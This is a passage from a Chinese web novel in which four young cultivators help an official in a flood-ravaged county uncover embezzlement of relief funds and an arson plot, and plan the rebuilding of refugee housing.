关云铮心说方才同摇羽说的大胆猜测确实不够大胆,她那时竟没想起古代还有这么一茬,只知道猜测县令背后仍有更为势强之人,却完全忘了考虑他们处在江县这一塘浑水中,在图谋些什么。 直到现下,她心中才真正产生了两个足够大胆的猜测: 第一,县令大概率参与了赈灾款的贪污,并且背后应当有一条完整的贪污链条。因为古代的官阶制度比现代更分明,赈灾款自朝廷拨下来,势必会经过层层盘剥,参与其中的人一定不止江县县令这一位。 更何况赈灾款必然是不小的数目,倘若江县县令当真有那么大的胆子一人独吞,她不信此人还能安生在县衙待着,钱太多可是会烧得人彻夜难寐的。 至于先前的第二个猜测:假灾民的存在或许是有心之人的图谋。她仍然觉得这一猜测的真实性很大,因为这是个挑起两方势力矛盾的绝佳手法:假灾民伪装成官方势力,将性命垂危的灾民强行抓走;而当官方势力追究,也只会追究到“灾民”头上。 到时灾民怨恨官府自发反抗,官府以偏概全,乱棍将灾民打死,唆使“假灾民”动手的第三方势力便会从中获利。 只是他想要的是什么利? 关云铮根据多年看经验在心中计算着,没注意陆识微已经结束了和店掌柜的攀谈回到了桌边,见她正入神还特意没打扰,转向楚悯三人问道:“方才将那姐弟俩安置时,我发现那男孩还有些低热,但精神瞧着似乎还好,敢问诸位可是用了什么治病的法子?” 三人齐齐看向关云铮。 原本还沉浸在思考中的人感受到了三束灼热的视线,猛地回过神来,对着四双炯炯有神的眼睛茫然道:“怎么了?” 陆识微又将自己方才的话复述了一遍。 关云铮恍然,同她仔细解释了一遍青蒿的疗效,以及他们用青蒿给人治病的过程,随后坦言说道:“不过这方法不曾得到医者的证实,是我病急乱投医,故而未必对所有人都见效。另外此地能找到的青蒿也有限,我们又已经采摘了一批,余下的量……恐怕没法让每个染病的灾民都能得到这样的救治。” 陆识微点点头表示理解,又说道:“城西的居住情况比城东好些,水质也更干净,染病后的灾民很快便会被隔离起来,故而整个灾民处,染病的人不太多,兴许不需要用上太多青蒿,便可以解决目前的问题。” 关云铮顿时觉得他们留下来帮忙也只能做做苦力,因为该动的脑子陆识微已经都动完了,所有潜在的危险因素都被妥当地处理了,她想不通还有什么她这个现代人可发挥的空间,一时都失语了。 陆识微也活像是会读人的心声,看她沉默又补了一句:“这都是柳大人教我的,先前我对局势也是束手无策,是她来了江县后才好些。” 柳大人? 关云铮面上不显,心中困惑:为何陆识微说到柳大人时,那种似曾相识的感觉又出现了? 又是与此处“准则”相关的线索吗?所以才这样模糊不清? 结界有准则,此处也有准则,此处究竟是什么? 关云铮意识到自己还没回答陆识微的话便又在走神,回过神来说:“柳大人是……?” 陆识微倒是没多遮掩,坦诚道:“是朝安来的大人。” 朝安来的? 关云铮和楚悯对视一眼,两人的眉头先后皱了起来。 这种越来越强烈的似曾相识感究竟是怎么回事…… 不过陆识微会不会太容易相信别人了?他们虽然是仙门弟子打扮,但未必就是好人,也未必就能改变江县的现状,被她这样盲目信任什么都告诉,关云铮都有些心虚起来。 为免她继续往外秃噜一些暂时不该让他们知道的事,关云铮忙调转话题道:“饭后我们先做什么?要重建窝棚吗?” 陆识微的神色原本已有些缓和,闻言又不可避免地沮丧起来,臊眉耷眼地说道:“窝棚……等废墟处理妥当了再说吧。” 说话间客栈已经把方才陆识微点的菜端了几道上来,叶泯倒没急着吃,接过话茬问道:“那没有窝棚的灾民们住哪?” 陆识微打起精神把菜摆了摆:“你们是从城东灾民所来的吧?” 楚悯点了点头。 陆识微示意他们吃菜:“此次受灾,成了灾民的多是农户,农田与住房都被洪水毁了,没了农田就没了收成,日子便过不下去;城中居民实则损失不大,但去往别处逃灾的人多,故而许多房屋都空了出来。” 关云铮联想到方才找水时见到的景象,点了点头。 陆识微接着说道:“灾民们如今暂且住在城西几处空宅子里,等废墟处理妥当,我打算在废墟之上为他们重建房屋。”没等几人回应,她又叹了口气,“总不能让他们一直在窝棚里住着吧,虽说之前确实是我主张建的,可南方雨水多,这种构造的住处扛不了多久的风雨,到头来他们还是无家可归。” 她本意只是用窝棚暂缓形势,没想到有人连这样的形式都接受不了,哪怕用上暗地里放火这样的手段,都要让灾民们无处可去。 他们活着究竟动摇了谁的利益?为什么连活着都成为一种奢求? 关云铮对别人的情绪总是察觉得很及时,但她同时又极为不擅长处理情绪,看陆识微说完话后脸色越发难看顿觉不妙,连忙看向另外三人,用眼神求助。 奈何另外三人在宽慰人一事上也毫无建树,接收了她的眼神后比她还要无措,一时四人眼神乱飞,直到店小二再度靠近,把最后几道菜端了上来。 关云铮连忙把注意力放在菜色上,大脑飞速运转想要找个不那么危险的话题,垂眼一看却发现,单从菜色来看,这顿饭比她在师门还要丰盛,不由得愣了一下才说:“陆大人点了这么多菜……” 五个人点了十个菜会不会太奢侈了咱就是说。 陆识微回过神来:“你们本也没有义务为此地的灾民做些什么,这顿饭就当是为诸位接风洗尘,日后若是江县形势缓和,灾民安居,定然还有重谢。” 四人连忙异口同声道:“担不起担不起。”一同把脑袋摇成了拨浪鼓。 陆识微失笑,揭过话题不谈:“先吃饭吧,其他事之后再说。” 嗯,事已至此,先吃饭吧!—— 作者有话说:6.12下午两点→6.17下午三点,新增营养液108评论24,也即3360字 总之凑了点一起发了() 第一次幻境大概还有个两三章的样子?不过按照我写文的德性可能也不止就是了(扶额) 想要评论[可怜] 第104章 四人初来乍到就被如此厚待, 吃饭时不由得都有些拘谨,陆识微也有心事似的,心不在焉地吃着饭菜, 暂时没再开过口。 虽然吃饭的时候说话有食物呛进气管的风险, 但关云铮其实并未养成食不言的好习惯,恰恰相反, 不论是在21世纪还是在师门, 她都很喜欢在吃饭时聊天,或者自己不发言,单纯听人说话。 毕竟很多话题单独拿出来谈论会显得十分干涩,配着饭菜就变得生动有趣起来——要不怎么说一起吃饭最能快速增进感情呢。 正当她以为他们要在这样沉默的氛围里吃完这顿饭的时候,原本在客栈里吃饭的那桌人终于起身走了。而一旁的陆识微分明仍在走神,那桌人走后却忽然抬起头说道:“诸位从城东来到城西的路上, 可有何阻碍?” 关云铮没防备她忽然发问,直接呛了一口汤, 扭开脸咳得天昏地暗。 楚悯一边给她拍背顺气一边问道:“陆大人怎么忽然这么问?” 没有生意,店掌柜和店小二都掀了帘子到其他地方歇着去了, 偌大厅堂里只剩他们一桌五人。 原本便留心观察另一桌人的谭一筠此时觉察到什么, 看向陆识微:“陆大人特意此时才说起此事,是因为方才有人在暗中偷听吗?” 这回呛到的成了叶泯。 关云铮和叶泯在某些方面有着奇怪的相似。 叶泯所处灵兽派虽然并非上下一心,门派中也有譬如秦长老这样的货色时时碍眼, 但并没有经历过多么直白的“恶”——毕竟秦长老虽十分不要脸, 但也不曾真的害过人。 关云铮则对各类恶意都处在纸上谈兵阶段,网上冲浪固然会看见诸多社会上的恶,这其间也为各类受害者共情愤怒过,但她是个相当幸运的人,纵使原生家庭有诸多不愉快, 但残忍的社会始终放她一马,不曾让她亲身经历那些龌龊。 是以两人真正到了社会之中,对很多事情几乎都没有防备,方才其实都没向那桌人分去注意力。当下被谭一筠这么一点破,两人才后知后觉地意识到,那桌人似乎从最初他们进门,便一直放慢了“吃饭”的速度,说话时也从原本的正常音量切换成了密密切切的悄悄话。 很难不怀疑其居心。 陆识微朝四人笑了一下,倒是没多遮掩,直白道:“此处客栈掌柜是县令亲信,方才那些人近日也频繁出入县令私宅,想必也脱不了干系。” 卜算猜测出的结果是一回事,他人亲口佐证又是另一回事。虽然方才已经对这家客栈的情况有了基础的认知,但从陆识微口中听到和她们结论相差无几的话,还是令人颇为震撼。 四人端着同样的“涉世未深”神情,被陆识微的话震得不轻。 不过这些话真是能告诉他们的吗?关云铮忍了又忍,还是没忍住,干脆直截了当地向陆识微问道:“陆大人对我们说这些,不怕我们也居心不良?” 陆识微那没比在座四人大多少岁的脸上,浮现出一种不符合这个年纪的淡然来,她对着关云铮笑了一下:“江县如今几乎穷途末路,你们若是居心不良,来得恐怕也晚了些,捞不到什么好处了。” 哇……真是超绝精神状态。 她给自己夹了一筷子菜,继续说道:“在一贫如洗的地方,做好人要比做坏人简单。” 关云铮对这话倒有些不以为然,毕竟熵增是自发反应,混乱度提升的反应不需要任何催化剂和反应条件就可进行。同理,一个地方情况的恶化是不需要任何助力的,一旦开始即摧枯拉朽,在这个过程中投身命运的洪流做个坏人,比做逆着洪水试图力挽狂澜的好人,要简单得多。 但吃人嘴短,并且他们也确实不是坏人,于是她没打断,继续默不作声地听着。 “你们知道江县的粮仓所在何处?知道县令私宅中有多少赃款?又知道今早的火究竟是何人为之吗?”陆识微并不咄咄逼人地接连问了三个相当扎人的问题,语气甚至称得上和缓可亲。 叶泯被她几句话说得对当下局势更为忧虑起来:“解决了灾民的住房问题后,县令贪赃一事又该如何?” 陆识微摇了摇头:“贪赃与灾民一事密不可分,不解决贪赃一事,灾民便永远得不到安寝。” 楚悯敏锐地注意到了她观点所向:“您的意思是,您觉得是县令及其背后之人放的火?” 陆识微像是对她这个问题早有预料似的,闻言反问道:“楚姑娘怎么想?” 开饭后楚悯没再卜算,但心中对这问题已有答案,故而略加思索后便说道:“不知陆大人可曾见过一帮扮作灾民模样的人?” 陆识微皱了皱眉,像是全然不知的模样:“扮作灾民模样?” 谭一筠接过话茬:“实际衣裳完好,面色红润,并无半点灾民模样。” “衣裳完好……面色红润……”陆识微轻声重复着谭一筠的话,片刻后忽而问道,“你们在城东灾民所遇见了他们?” 四人一同点了点头。 原本初次碰上时叶泯倒是不在,但后来从城东传送到城西时他也看见了为首之人的面貌,故而四人到此为止全都见过了所谓“假灾民”的模样。 总之普遍跟真灾民的形象相去甚远。 陆识微看向楚悯:“所以你方才的意思是,放火之人应当是假灾民?” 楚悯迎着她的目光点了点头:“我是这般猜测的。” **** 十道菜的一顿饭吃得几人双目无神四大皆空,吃完许久还在餐桌边缓不过神,还是陆识微提出要带他们去废墟上看看有无作案痕迹,四人才勉强打起些精神。 陆识微照例走在最前方,边走边说道:“大火过后倒是比洪灾好一些,痕迹仍然能够保留,只是表象会被扭曲,分辨不清,你们应当有探寻的法子?” 无端被寄予厚望,关云铮默默看向身侧的楚悯。 楚悯没说话,但已经在手心开始起卦了,感受到关云铮的目光,还分出心神抬眼对她点了个头。 得到楚悯的肯定,关云铮再度恢复高枕无忧模式,对上陆识微的目光,还把手摊开指向一边,示意她看向楚悯。 陆识微了然地笑了笑:“原本我打算先料理赈灾款被贪污一事,如今看来,倒是可以先将住房建起来了。” “住房应当并非几日之功?万一……”叶泯犹豫着说,万一有心之人再度来犯,又一次让辛苦多日的成果付之一炬呢?得先确认了始作俑者是谁,才好安生搭建住房吧? “自然,因此我也会在搭建住房期间寻找纵火真凶及其幕后主使,争取在第二次修建过程中不再出岔子。”陆识微答道。 关云铮感觉不太妙。这话无端有些像fg,必倒的那种。 呸呸呸太不吉利了打住打住。 几人说话间已抵达废墟,与上午荒凉的场景相比,此刻废墟上站了各形各色的人,说着喜怒哀乐的话。 关云铮忽然意识到一个一直被自己忽略的问题,在走向废墟的途中忽然想起,便顺口问了出来:“陆大人,听闻这场火在清晨便着了起来,为何……灾民们似乎并无损伤?” 那个时间,大家不应该都还在睡吗?是怎么能逃过这场大火的? 陆识微回头对她笑了笑:“柳大人早有准备。”她只说了寥寥几个字就不再多说,自顾自地向前走去,同废墟上的人们交谈起来,徒留关云铮四人在原地一头雾水地面面相觑。 怎样的准备能让几十个人都逃过这一场彻底的大火?为何能预料到这一场大火却不想办法避免,看着多日的努力化为灰烬?难道放任这场火把窝棚烧毁也是这位柳大人计划中的一环?还是说ta只是预料到了这场火却不知道纵火者是谁,只能眼见着悲剧发生? 这位柳大人……又究竟是谁? 楚悯结束了卜算,从卦阵上抬起眼,还没等她开口,关云铮已经读懂了她的视线,并不意外地叹了口气,问道:“又算不出来?” 楚悯收拢掌心,也叹了口气。 叶泯都没脾气了,原本还会纳闷究竟是因为什么才会卜算不出,现在已经开始分析都是哪些问题无法卜算了:“灾民所内灾民情况如何无法卜算,假灾民究竟是何身份无法卜算,大火背后的元凶是谁无法卜算,”他仔细思索着,“但灾民所的方位可以卜算,客栈与县令有关可以卜算……能卜算出结果的似乎都是摆在明面上的事,不能的则是需要我们亲自探究的。难道是这个规律?” 谭一筠顺着他的话想了想,很快发现了其中的漏洞:“客栈与县令有关怎么能算是摆在明面上的事?” 叶泯被问住了,一时没想到合理的解释:“也是。” 关云铮正观察着不远处的陆识微,闻言心不在焉地接了一句:“那是我们认为的。” 楚悯率先看向她,谭一筠和叶泯也后知后觉地看过去。 被注视的人没回头,若有所觉似的继续说道:“你们应当也感觉出来了,这里发生的诸多事都不似寻常,有独有的一套……运行准则。”譬如除了天道相关其余皆可卜算的天问在此地多次受到限制,譬如许多话分明涌到嘴边但就是说不出口,就像是此处的人们其实并不具备独立意志,而是某个人的提线木偶。 会是谁在操纵这一切呢?四人一同陷入沉思之中。 不远处的陆识微和灾民们说完话,一回头发现少年们全都一脸苦大仇深,一时忍俊不禁。 与她交谈的灾民捕捉到了她那一瞬即逝的笑意,不明所以地问道:“陆大人,那几位是……?” 陆识微没回头,但回答了他的问题:“是某人送来的小帮手们。”—— 作者有话说:预估错误,一两章内无法结束(安详) 第105章 陆识微似乎并不觉得重建江县这样的大事, 被拿来与四位初出茅庐的仙门弟子谈论有何不妥,带着四人在废墟边的一处宅子找了张桌子坐下,随手抹了抹有些潮湿的桌面, 便率先开了口:“诸位对重建之事有何看法?” 考试卷里的应用题永远只是几道冰冷的题目, 有时候为了计算方便甚至会意思意思凑个比较好计算的数字。 现实生活远比应用题复杂,没有那么多的凑巧, 没有那么多的“整数好计算”, 没人敢在见识了假灾民的凶狠与真灾民的惨淡后,大言不惭地说出“这类题目考过好几次了,应该从以下几个点进行分析”之类的鬼话,因此一时之间,四人都没开口。 他们所在的房子是个标准的“天井院”,是处没人住的空宅子, 大概就是陆识微之前所说,逃灾去的人留下的。 虽然河对面的城东几乎成了无人区, 但两边的房屋建筑风格其实相差无几,这一路过来关云铮见了不少这样的院落。 从风水角度来说, 天井院能把流水引向中间, 所以民间一直有这类建筑可以聚财的说法。但看江县这么多天井院都落得个无人居住的下场,想来这说法也就是个心理安慰,没有太多的实际意义。 连日多雨让整个院子都潮乎乎的, 关云铮虽然穿着归墟的校服, 裸|露在外的手掌接触到檐下的凉风时也会觉出凉意。 到底还是深秋时节。 几人依旧沉默着,直到一同听见头顶轻响,不约而同地抬起头往上看。 正要昂首阔步踩着瓦片走过的狸花感受到了注视,一低头,对上了五双好奇的眼睛, 霎时脚步一顿,脖子抻出二里地,僵硬着走远了。 原本严肃的氛围骤然被打破,几人收回目光时纷纷笑了一下。 “首先是资金的问题。”关云铮率先开口做出应答。 反正她懂的不过是纸上谈兵,就当是在开点子大会抛砖引玉了。 “如果我对局势的推测为真,那就不必打县令的主意了,此人就算是参与了赈灾款的贪污,恐怕贪得也不多。”关云铮说道。 陆识微颇感兴趣地挑眉:“何以见得?” 楚悯皱了皱眉,无端觉得陆识微方才的样子与某个人有些相像。 关云铮脑洞大开地继续说着:“现成的资金多半是指望不上了,江县能够调用的银钱怕是也不多,不如就……以工代赈?” 以工代赈的做法其实不少见,古代一直有让民众用劳动换取粮食甚至工钱的做法,但这个词貌似在古代还尚未被总结出来,陆识微听后愣了一会儿才明白过来:“意思是让灾民们参与房屋的建设?” 关云铮点了点头:“给自己造房子,想来应当很有些兴头?” 叶泯也跟着点了点头:“至于建材……兴许可以从那些被洪水冲垮的废墟中取用?” 几人打开了思路,一时之间一个点子接一个点子,叶泯说完后谭一筠又接着说道:“若是灾民中有些人有手艺在身,还可许他们一份工,这样重建后也有工钱可拿。” 陆识微笑起来:“不是很有想法吗?怎么方才都不说?” 那这不是……这么大的事不敢随便开口吗……四人互相对视一眼,继续沉默以对。 陆识微倒没介意:“先得敢说,才能敢做,虽然你们未来多半都在仙门中修习,没什么机会踩进这些红尘里,但是……”她似乎想说些什么,犹豫片刻,最终还是咽下去了。 楚悯敏锐地察觉到了她的未尽之言,沉默着没吭声。 这样的话语,接下来的走向无非是江县的现状,陆识微无意多说,兴许是觉得他们不过是此次灾后的一群过客,能提供帮助也是一时的。 未来江县会经历更多的风波,那时他们已经回到了归墟或者自己的师门,红尘于他们这些不闻窗外事的仙门子弟而言,又有什么必要多加笔墨描绘呢? 镜溪城就在青镜山脚下,天问甚至坐落在被城镇环绕的盈都峰,翠屏山她没去过,但从地图来看,想来也不是多么离群索居的仙山,至于鹧鸪山……听叶泯的话,大约同盈都峰也差不多,周边有许多的城镇或是村庄。 仙门各自陷在自己的滚滚红尘里,红尘又怎么会与仙门子弟毫无相干呢? “可运转的银钱倒是还有些。”沉默了片刻的陆识微忽然说道。 楚悯一愣:“从何而来?” 陆识微对四人笑了笑:“我还是个县衙司簿。” **** 做假|账这事,关云铮在21世纪的时候没少在网上冲浪的时候看到,不得不说确实加深了她对某一类职业的刻板印象。 但要是真到了落实的时候……说不害怕是假的。 除了楚悯比较淡定之外,关云铮和另外两位都被陆识微话里的意思吓了一跳,差点没从长凳上跳起来。 陆识微失笑:“这么惊讶做什么?特殊时期需采取特殊手段,话不是这么说的?” 叶泯面露难色:“话是这么说没错……” 谭一筠方才吓得差点把手中的子不语甩出去:“虽说县令与赈灾款贪污脱不开关系,江县的局势也已经……不能更糟了,但这……” 关云铮作为现代人对于这件事更是恐惧,脑子里已经开始演铁窗泪了,嘴上险些口不择言,咬了一下舌尖逼自己把到嘴边的话咽了,才再次开口:“陆大人,不到逼不得已的时候,我们就暂且不要用这一招吧?” 陆识微很配合地点点头:“那重建资金一事就暂且谈到这,接下来说说怎么抓出那位纵火的元凶?” “陆大人对此有何看法?可有怀疑人选?”楚悯问道。 这次陆识微摇了摇头:“江县穷乡僻壤,此次还受灾严重,不知这样的情状之下,挡了哪位的路。” “尤其是原本的……人选之一,……,甚至屡次发动过反叛行动。” 关云铮原本正沉默着思考对策,记忆中忽然没头没尾地浮现出这句话,还残缺不全,顿时皱起眉头。 这话是谁对她说的?这时候忽然从记忆中浮现出来,难道是此处特殊的运行机制在对她做出提醒? 还有这种好事? 不过她忽然意识到,这种谜语人一般藏头露尾的行为……倒是有些像她师父的作风。 噫,那就更不得不防了。 毕竟像她师父的东西,嘴里十句话八句半都可能是假的。 没有说师父是个东西的意思,啊不是,也没有说他不是东西的意思。 算了爱是啥是啥吧。 关云铮又在心里叠完了一套甲,回过神时正好听见楚悯说:“纵火之人的目的究竟是什么?如果是凭借纵火来威慑陆大人,那我们再次筹备重建的过程中,他们一定会再度出手,彼时或许是抓获的好时机。” 陆识微说出口的猜测跟关云铮的差不多:“若我没猜错,纵火者幕后之人应当是想借此事挑拨官府与灾民之间的关系,日后可坐收渔翁之利。” 但这猜测其实仍存在许多漏洞。 譬如纵火之人并没有幕后主使,譬如ta并无多么阴险的谋划,譬如……ta放过一次火后已经心生胆怯,不会第二次出手。 关云铮只是根据多年的经验,下意识选择了一种最坏的可能,但她同时也寄希望于事情本质并没有坏到这种地步。 陆识微自然也是这样想,继续说道:“若是没有幕后主使自然最好,但我们得做最坏的打算,是以现下便得开始筹备抓获纵火者的计划了。” “悬赏县民是否可行?”谭一筠问道,“不过大火是清晨烧起来的,看到纵火者的人应当几乎没有……此计大约是不可行的。” 他自问自答般地提出假设又否定,陆识微听得笑了笑,没对他的话表态,又看向另外三人。 叶泯藏在袖子里的手正在无意识地蹭着灵犀的脑袋,原本缠绕在他手腕上打盹的灵兽被他的动作扰得烦不胜烦,张开嘴不轻不重地咬了他一口,令他眉头飞快地皱了一下:“假定他们当真是想把水搅浑,挑起灾民与官府之间的冲突,那想必也会散布谣言吧?” 关云铮点了点头:“应当也会十分在意‘谣言’。” “既如此,我们接下来的每一步可都需要同他们,好好‘说道’了。”陆识微看向四人,神色喜怒不辨。 “若是纵火者背后有团伙,也就是如同我们的猜测一般,是‘假灾民’,那团伙内部岂非也有攻破的可能?”楚悯问道。 关云铮接过话茬:“那得看团伙中这些人究竟想要什么了,又在为什么效忠。”她设想着几种可能,“如果只是纯然的局外人,此举只为幕后之人效忠,那挑拨恐怕不太能够;但如果这些人最初也是‘真灾民’,同样缺少银钱和住房……” 那事情就变得简单许多了。 **** 陆识微不知从哪掏出几张图纸,在桌上摆开后示意四人看过来。 “我决定第二次重建时建造这样的住房,就选在废墟的遗址上,那处地势稍高,不易被后来的洪水冲毁。”陆识微说道。 关云铮和楚悯的关注点不同,后者注意到了陆识微手中的图纸很可能是她自己画的,而前者…… 关云铮若有所思道:“江县是否每年都有一场洪灾?” 陆识微点了点头:“确乎如此,故而长久以来江县的收成都很差,老百姓过不下去日子,死的死走的走,就留下这许多无人居住的空房子。” “既如此,重建后陆大人还可加固一番引水装置,或是开辟水渠疏理水脉,否则年年这个时候暴雨如注,该洪灾泛滥的地方它还是会泛滥。”关云铮说道,说完意识到自己可能有些班门弄斧,又找补了一句,“要是您早有此意就当我没说。” 陆识微应当是他们见过脾气最随和的人,一堆烂摊子在手里居然还能在对话中常常笑出声,想来至少是个相当乐观的人,不知为何同她最初表现出的模样相去甚远。 最开始遇见她的时候,她给人的感觉甚至有些……冒失。 可她现在分明对一切都了然在心,是个时刻能够运筹帷幄决胜千里的模样……他们相遇到现在最多不过一两个时辰,是什么让她发生了这么大的变化? 还是说其实最初冒失的模样是她的伪装? 他们四个初来乍到,底细不明,又并非“普通人”而是仙门子弟,兴许掌握着一些非同寻常的力量,初次见面时,陆识微面对他们有些伪装倒也在情理之中——毕竟谁知道他们是为何而来。 但既然有这样的警惕心,又为什么仅在简单的自我介绍后,陆识微就对他们放下了心防呢?这会不会有些前后矛盾了? 关云铮发觉自从意识到自己还有个将隐后,脑子里就时不时冒出些有的没的,虽然多数都是相当理智的想法,但人活着总是被理智的想法不由自主地骚||扰……也怪烦的。 辩证是没有尽头的,一味地辩证也太枯燥乏味了,还容易让思维陷入某些怪圈。 她这样想着,下意识把手伸进乾坤袋里,打算把将隐拿出来。但或许是因为她心不在焉,第一时间摸到的居然不是将隐,而是一叠……触感十分像纸的东西。 关云铮一时没想明白这是个什么,顺手就把那叠纸拿了出来。 于是其余四人眼睁睁地看着她拿出了一叠足有半掌厚的……银票。 她来到修仙世界两个多月,虽然下过几次山,但从没自己掏过钱,归墟也用不着花钱,是以哪怕她把东西拿出来了,第一时间也仍然没意识到这是个什么。 直到她看清了上面的字。 “这哪来的?”关云铮不可思议地喃喃道。 其余三人更是一头雾水,谭一筠惊呆了:“你哪来这么多钱?” 关云铮没急着回答,而是把银票放在桌上,推到陆识微面前:“这下有资金了,就是不知道够不够用。” 陆识微一脸惊讶地看向她,说出了和谭一筠方才问的一样的话:“你哪来这么多钱?” 关云铮也想不通,但师门里有钱人就那么两个,于是随口答道:“师父或是师兄塞的吧。”说完她又自言自语似的,“师父到底往我乾坤袋里塞了多少东西……” 依稀记得还有干花呢。 她嘀嘀咕咕完,发现四人还处于震惊之中,困惑地一歪头:“陆大人,我拿着银票没什么用,你不收下,我就只能原样带回师门了。江县如今正缺钱,我师父可不缺,他主动给的,不花白不花。” 就当富家大少爷拨拨手指头又来救济灾民了吧,反正他也不是没救过。 **** 江县虽受灾严重,但交通要道并未受到太大影响,有了银钱开道,一些无法从废墟中回收的建筑材料就可通过要道从外界采买。 陆识微收下了钱,紧锣密鼓地安排完采买的事,才意识到四位少年跟着她在县城里到处打转,连晚饭都没顾上吃。 她焦头烂额地一回头,正好看见四人被眼熟的灾民拉走,连忙头重脚轻地追过去。 等她追到一看,才发现灾民们自发给他们准备了一桌餐食,正把四位少年往桌边按。 谭一筠看见眼前丰盛的菜色直心虚,连忙要站起来:“使不得使不得。” 按着他的是个女人,看起来清瘦,手劲却出奇的大,谭一筠被她按住居然连站都站不起来,只能向坐在他对面的关云铮投去求助的视线。 没想到关云铮压根没打算挣扎,堪称心安理得地在对面坐着,甚至抄起筷子打算吃饭了。 看了她这样,谭一筠自觉也不再抗争,灾民们达成了目的,又乐呵呵地离开了。 陆识微气喘吁吁地赶来正好看见这一幕,安静地在门外站定了。 关云铮头头是道地给谭一筠分析:“你不接受,他们只会继续请求,等你推来推去折腾了几个回合,诚心也没了,受宠若惊也没了,双方都只会觉得,怎么这么拧巴呢?不就吃个饭的事吗?” 她夹了一筷子菜到碗里:“你已经表达了自己的受宠若惊和受之有愧,但人家执意要感谢,收着就好了,你难道觉得自己配不上他们的感谢吗?”说完她若有所思地想了想,“也对,暂时是配不上的,但我们接下来不是正打算施展一番吗?早晚配得上的,如今不过是提早享受了,放宽心。” 谭一筠一时没能想出应答的话,过了好一会儿才说:“云铮似乎……有些抵触这样的推来阻去?” 叶泯和楚悯听了这话先后抬起眼,看向正面色如常地吃着菜的关云铮。 被注视的人轻轻地一挑眉,倒是没否认,十分坦荡地说道:“确实有一点,但不是对你。” 谭一筠装模作样地松了一口气:“太好了,还以为是针对我呢。” 关云铮很想翻他一眼,但还是忍住了,甚至有点想笑,干脆暂时撂下筷子说:“不知道你们有没有见过那种……装模作样的谦让行为。” 她来到此界的时间太短,但凡说起自己的好恶,基本都是彼方发生过的事了。楚悯不动声色地想。但她顺着关云铮的话设想了一番,发现自己居然无法想象她说的场景,原本只有一点好奇,顿时变得十分好奇起来。 关云铮思考了一会儿,该怎么把自己在21世纪的经历转化成“修仙语”,继续说道:“打个比方,假使有朝一日仙盟将灵舟全域通行,谁都能乘坐,但需要给钱。某一天我们坐灵舟通行,遇上两个貌似相熟的人,坐上灵舟后因为谁来给钱这件事争论不休。” 这样的戏码在21世纪看得太多,她不用花费什么心神就能丝滑地一人分饰两角。 “这个说我来我来我来。” “那个说不行不行不行。” “这个又说我们什么关系你跟我客气什么。” “那个说好兄弟之间怎么还说这个。” “就这样争执来,争执去,到头来谁也没给钱。”关云铮一摊手,低笑了一声,“到最后往往是驾驶灵舟的人不耐烦了,问一句究竟是谁掏钱,这时这场大戏才是真正的落幕了,其中一人会掏出双倍的钱交出去,然后和另一人哥俩好似的坐到位置上。” 叶泯听得叹为观止:“要是将来灵舟真的全域通行,我会因为你今日这番话不坐灵舟的。” 楚悯失笑:“全域通行的灵舟得耗费多少灵气,就算仙门愿意,仙盟怕是也不愿意。” 谭一筠方才边听边吃,此刻已没了拘谨的模样,随口道:“谁管他们仙盟。” 在门外听到现在的陆识微终于跨过门槛走了进来:“看来江县的这些菜色还算合诸位的心意?” 陆识微忙到此刻才来,显然是还没用饭,楚悯顺势起身坐到关云铮身边,给她让出空位。 “按照云铮刚才说的故事,我是不是该立刻坐下端起碗吃饭,不该谦让多说?”陆识微笑着打趣道。 关云铮差点被饭噎着,缓了缓才对着陆识微摆摆手:“也不是什么大事,不过见得多了抱怨几句,陆大人别同我一般见识。” 至于为什么忽然想吐槽这件事……她其实也不大清楚,不知从什么时候开始,她就不太对自己过去在21世纪的经历缄口不言了,提起来时甚至还能结合修仙界的实际情况改动一番,听起来几乎不像是她曾经的生活,而是遥远的故事了。 曾经她以为无尽的远方与无尽的人跟她并不十分相干,虽然会共情会同情,但那也是一瞬间的事情,情绪过去了也就没有下文了,毕竟肉体凡胎,能力有限,除了这点情绪,她也给不出什么别的了。 但到了现在,她恍然意识到自己似乎成了那个“远方的人”,这才发觉原来真正的共情是需要经过思考的。 不经过思考的所谓共情就像是一道固定的应用程序,看到别人伤感,看到别人哭泣,扎根于心的价值观让人不得不开口安慰,但那安慰的话语实际空泛无比。 虽然21世纪总鼓吹什么“情绪价值”,但这样的共情,岂非只是情绪,没有价值吗? 关云铮发觉自己又在漫无边际地做理性思考了,颇觉头疼地在心里叹了口气,就听见陆识微忽然说道:“我想到了让纵火者露面的办法。”—— 作者有话说:来了来了(跪) 第106章 “方才命人出发采买时, 我发现有一种材料,不仅江县没有,周边的几个城镇也都没有, 需遣人去更远些的地方采买。”陆识微说道。 “那怎么办?”叶泯脱口问道, “影响重建吗?” 陆识微笑了一下,坦言:“不十分影响。” 她有心把话只说一半, 楚悯配合地问道:“那是……?” “纵火行凶之人想必不会愿意看到, 我们把重建一事办得如火如荼,江县一片欣欣向荣,或许会在采买之人返回的路上做手脚。”陆识微说道。 关云铮的思路诡异地走了个岔:“他们做手脚,但我们依旧对外宣称获得了那批材料,让他们怀疑是否是自己内部有鬼,所以事情才没料理干净, 同时上门来对材料进行毁坏,我们正好趁此时机, 瓮中捉鳖?” 叶泯和谭一筠顿时用见鬼了一般的眼神看向她。 而一旁的楚悯撂下筷子,第不知多少次在左手上开启卦阵进行卜算。 关云铮原本只是在吃饭的间隙, 随口发表一下自己对事情的见解, 忽然察觉到怪异的注视,抬起头正对上谭一筠和叶泯的目光,顿时困惑道:“怎么这样看我?” 谭一筠欲言又止, 止言又欲, 好一会儿过去才说道:“我们还在听陆大人说材料的事,你怎么已经一步跨到一石二鸟的抓捕计划去了?” 关云铮“唔”了一声,不答反问道:“看来这计划听着可行?” 空手套白狼什么的虽然有点缺德,但对着这帮没天良的使,岂不正好? 叶泯点点头:“我觉得应该可行, 陆大人觉得呢?” 陆识微也露出赞许的神色:“不错,到时试试看,没准真能把人算计进去。” 她注意到一旁没在吃饭而是专心卜算的楚悯,正要问,方才还垂着眼卜算的人抬起头来,对着四人解释道:“我起了一卦,问那纵火者是真灾民,还是‘假灾民’。” 关云铮夹菜的动作一顿:这问题不该是触及此处准则的问题吗?先前他们也已经问过类似的了,这次当真能有答案? 卜算结束的楚悯神色也有些困惑,但她十分相信自己算出的结果,暂时没把对准则困惑之事放在心上,同四人继续说道:“卦象说,是‘假灾民’,但确乎当过一阵子的‘真灾民’。” 结果倒是不令人意外,但这也不能排除这个转变过程中没有他人在背后推波助澜,毕竟关云铮还是倾向于认为,如果是灾民自发动乱,不该只有这么一点规模。 陆识微闻言忽然想起什么:“你们见过那假灾民中为首之人,可还记得他的相貌?” 